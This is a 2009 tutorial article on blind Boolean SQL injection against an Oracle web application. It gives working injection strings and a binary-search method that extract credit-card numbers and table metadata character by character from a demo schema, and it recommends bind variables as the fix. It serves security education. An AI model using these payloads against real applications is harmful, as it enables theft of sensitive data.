by Jaromir
D.B. Nemec
A lot has been written about the SQL injection. The typical scenario covers the modification of the SQL statement to bypass the password check or to execute some stored code. Less known is the possibility to read data by modifying the where clause.
DBA B: I found some select statements
without bind variables in the shared pool of our web application database. The
selects are probably concatenated with the string
parameters passed from the web application. So we should check the
vulnerability of the SQL injection.
DBA A: I know. I saw
it, too. But there is no need to react immediately. The web app accesses
only the product data, which is publicly available. And above all the user has
no single execute privilege.
DBA B: Sure, but don’t forget the same
user has access to sensitive customer data!
DBA A: I know. But the SQL injection
–even if it could be done – affects only the where clause of the select
statement. More important, the select returns only Boolean results (product available / product not found) so
there is no possibility to inject UNION to read other data.
DBA B: Where there is
a grant there is a way…
This paper
demonstrated a less known vulnerability of SQL injection, showing how to read
data from tables not covered in the original select statement by modifying the
WHERE clause. The only precondition is that the access user has select rights
on the target table.
The
application schema (SQLINJ in our demonstration) contains a product table
consisting of the product id and the product name. The content of this table is
queried from the web application and the results are presented. The table
structure and sample data are shown below.
create table product
(product_id varchar2(100),
product_name varchar2(1000)
);
SQL> select * from
product;
PRODUCT_ID
PRODUCT_NAME
----------
--------------------
P1 Budweiser
P2 Platan
P3 Trebon
The same
application schema contains also a table with credit card information.
create table credit_card
(customer_id varchar2(100),
cc_number varchar2(100)
);
SQL> select * from
credit_card;
CUSTOMER_I CC_NUMBER
----------
--------------------
C1 1929-10100-01
C3 17398727161
The details
of the database configuration in the middle tier are not important for our
consideration (ORM, connection pooling). The important thing is that the
database access is done via the application access user (different from the
schema owner) and this access user has granted select access to both tables.
The Product
Query from the web application works very straightforwardly.
In the search field of the browser you can enter a string. This string is appended
to the select querying the product table. The result of the query is shown in
the response view.
For example
searching for ‘Budweiser’ results in the following statement:
SQL> select
'available' as status
2 from SQLINJ.product where product_name = 'Budweiser';
STATUS
---------
available
Note that
the concatenation of the input string with the query is the crucial point
allowing the SQL injection. The creation of the query in the application is
shown in the snippet below (Java string concatenation).
'select \'available\'
as status ' +
'from SQLINJ.product
where product_name = \'' + searchKey +
'\''
Let’s
demonstrate how a potentially malicious user can abuse the web application to
get the number of records in the credit_card table. For now, we assume that the
intruder guessed the table name. We will show later how it is possible to list
the names of the tables.
The main
problem to be solved is that only the WHERE close of the statement can be
modified; we can’t add a new table to select from. So it is not possible to
directly query the required data. What we can do is to *guess* the result (more
precise apply the binary search). In our case of querying the number of records
in the credit_card table we can ask for example “Is the count less than 6?”.
How to manage it? It is as simple as 1,2,3 – see below.
AND (select count(*) from credit_card) < 6
If you get the product shown now, you
know that the answer to the question is yes. Otherwise (if you get ‘No product
found.. ’) the answer is no.
Let’s
demonstrate the approach using an example.
|
User
input |
Budweiser |
|
Leads to
SQL statement |
select 'available' as status from SQLINJ.product where product_name
= 'Budweiser'; |
|
User
input (faked) |
Budweiser' and 6 > (select count(*) from
sqlinj.credit_card) and '1'='1 |
|
Leads to
SQL statement |
select 'available' as status from SQLINJ.product where product_name
= 'Budweiser' and 6 > (select count(*) from
sqlinj.credit_card) and '1'='1'; |
The first
statement queries the ‘Budweiser’ product. Additionally, the second one answers
the question about the cardinality of the credit_card table.
Well, let’s
assume we get the product information, so we know that there are less than 6
credit cards in the table. How to proceed further?
Every child
who played the hi-lo game knows the answer. The next question is “is the number
higher than 3 (half of 6)”. And so on using the binary search algorithm.
See Appendix A for a simulation of such a search. We got the
answer that there are two rows in the table. (Note that the data is simplified
for demonstration purposes.)
Let’s agree
that counting the rows of a table with sensitive data is not the typical
intention of a malicious user. But this is the basic step. If we know the
number of rows in the table, we can read them from row 1 to row N.
The process
of selecting the credit card number from the first row of the table will
contain the following steps:
In the
example below the 9th position of the column
CC_NUMBER in the 1st row of the table is being guessed. The question
is whether the 9th character of the string is lower than 43
(ascii ‘+’).
Bud%' and 43 >
(select ascii(substr(text,9,1)) from (select text
from (select CC_NUMBER text, row_number() over (order by rowid) rn from
sqlinj.CREDIT_CARD) where rn = 1)) and '%'='
See Appendix B for a full trace of the querying of the CC_NUMBER.
A good
point to object is that the intruder does know neither the name of the table
containing the credit card details nor its column names. But to get this
information is as easy as to query the dictionary tables all_tables and
all_tab_columns. And we have already demonstrated how to read data from a
table.
To
illustrate this principle the “search string” to be used to guess the 6th
character of the column_name of the 2nd column of the CREDIT_CARD
table is shown.
Budweiser' and 67
>
(select ascii(substr(text,6,1)) from (select
text from (select column_name text, COLUMN_ID rn from all_tab_columns where table_name = 'CREDIT_CARD' and owner = 'SQLINJ') where rn = 2)) and '1'='1
To
illustrate the applied algorithm we use the Groovy language [1]. The knowledge
of Groovy is not required; the code should hopefully be readable as a kind of
pseudo code.
Two tasks
must be solved to read via the where clause; first reading of numerical values
which is the easier task, second the reading of strings (VARCHAR2). We will go
through both tasks in the sections below.
Note that
to simplify the matter we use a SOAP based service instead of an html
application. This makes the parsing of the response a little easier for
demonstration purposes.
Getting a numerical result of a select
statement is nothing else that the hi-lo game. The only difference is that the
upper bound is not known at the beginning.
The first
step is to get the upper bound by trying the powers of two, stopping after the
first one, which is higher than the result number.
In the next
step we guess the number in the middle between the lower and upper bound:
check = guessLo +
(guessHi - guessLo +1)/ 2
If the
search string is found, we know that our guess is higher than the result. In
this case we make the new upper bound the previously guessed number minus one.
guessHi = check-1
Otherwise
the lower bound is set to the guessed number:
guessLo = check
The game is
repeated until there is a difference between the lower and upper bound.
while (guessLo <
guessHi) …
The whole
algorithm is coded in Figure 1.
Note that
the isFound method calls the service with the search string as a parameter. It
returns true if some results were found. Otherwise it returns false. The
implementation is not relevant for demonstration purposes; you may check the
complete implementation in the resources below.
Reading
strings is a little more complicated than reading sole numbers. In the first
step the length of the string must be evaluated. This is noting else than the
algorithm covered in Reading Number applied on select length (string) …
Furthermore,
the characters of the string are evaluated in a loop. To read a character it
has to be converted in its ASCII code. That transforms the task into reading a
number again. To avoid some escaping problems the interval of examined ASCII
codes is limited to printable characters.
The whole
algorithm is coded in Figure
2.
This paper
points out a less known aspect of the SQL injection
security thread. The intention is to close this leak in web applications by
appropriate actions (in most cases by the use of bind variables instead of text
concatenation).
Note that
in some countries the usage of SQL injection is restricted or even illegal!
[1] Groovy
Language - http://groovy.codehaus.org/
[2]
GroovyWS - http://groovy.codehaus.org/GroovyWS
[3]
Download the source code
Selecting
the number of records in the table CREDIT_CARD.
read a numeric value
using injection string:
Budweiser' and
${checkedNumber} > (select count(*) from sqlinj.credit_card) and '1'='1
starting with upper
limit ... 4
testing 2 ...lower or
equal
testing 3 ...higher
found 2
Selecting
the credit card number from the first row of the CREDIT_CARD table.
To perform
following query…
select CC_NUMBER
from
sqlinj.CREDIT_CARD
WHERE
rownum = 1;
… this
search string is used:
Budweiser' and ${checkedASCIIValue} > (select ascii(substr(text,${i-thPosition},1)) from (select text from (select CC_NUMBER text, row_number() over (order by rowid) rnfrom sqlinj.CREDIT_CARD) where rn = 1)) and '1'='1
The full
log see here.
I got a
review from Joxean Koret and Alexander Kornbrust on the Pete Finnigan’s
Oracle Security weblog that the original set-up of the scenario allows much
easier possibility to get the data, simple by using injection with UNION. I
made a correction of the insecure select in a way that it returns only Boolean information
(found / not found) to disable those direct ways of applying SQL injection.
Last revision 30.9.2009
Jaromir
D.B. Nemec is a freelancer specializing in data warehouse and integration
solutions. He can be reached at http://www.db-nemec.com